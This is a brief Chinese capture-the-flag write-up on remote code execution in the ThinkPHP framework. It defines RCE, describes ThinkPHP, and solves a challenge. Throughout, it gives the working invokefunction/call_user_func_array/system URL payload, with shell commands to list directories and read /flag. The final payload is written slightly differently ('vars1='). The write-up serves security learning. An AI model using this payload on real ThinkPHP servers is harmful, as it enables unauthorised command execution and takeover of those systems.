前置知識
rce(遠端代碼執行漏洞)
1. 什麼是遠端代碼執行漏洞
遠端指令/代碼執行漏洞,簡稱RCE漏洞,可以讓攻擊者直接向背景伺服器遠端注入作業系統指令或者代碼,進而控制背景系統。RCE分為遠端指令執行ping和遠端代碼執行evel。
2. 漏洞産生的根本原因
伺服器沒有針對執行函數做過濾,導緻在沒有指定絕對路徑的情況下就執行指令。
遠端代碼執行的漏洞
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=xxxxx(指令)
ls檢視
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls

上一級 ls ../
根目錄下 ls /
查找flag find / -name "flag"
發現 flag打開flag cat /flag
Think PHP介紹
ThinkPHP是為了簡化企業級應用開發和靈活WEB應用開發而誕生的。最早誕生于2006年初,2007年元旦正式更名為ThinkPHP,并且遵循Apache2開源協定釋出。ThinkPHP從誕生以來一直秉承簡潔實用的設計原則,在保持出色的性能和至簡的代碼的同時,也注重易用性。并且擁有衆多原創功能和特性,在社群團隊的積極參與下,在易用性、擴充性和性能方面不斷優化和改進。
ThinkPHP是一個快速、相容而且簡單的輕量級國産PHP開發架構,誕生于2006年初,原名FCS,2007年元旦正式更名為ThinkPHP,遵循Apache2開源協定釋出,從Struts結構移植過來并做了改進和完善,同時也借鑒了國外很多優秀的架構和模式,使用面向對象的開發結構和MVC模式,融合了Struts的思想和TagLib(标簽庫)、RoR的ORM映射和ActiveRecord模式。
存在遠端控制漏洞
解題過程
關鍵路徑
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=
在url後添加?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls /
發現flag檔案
在url後添加?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars1=cat /flag
獲得flag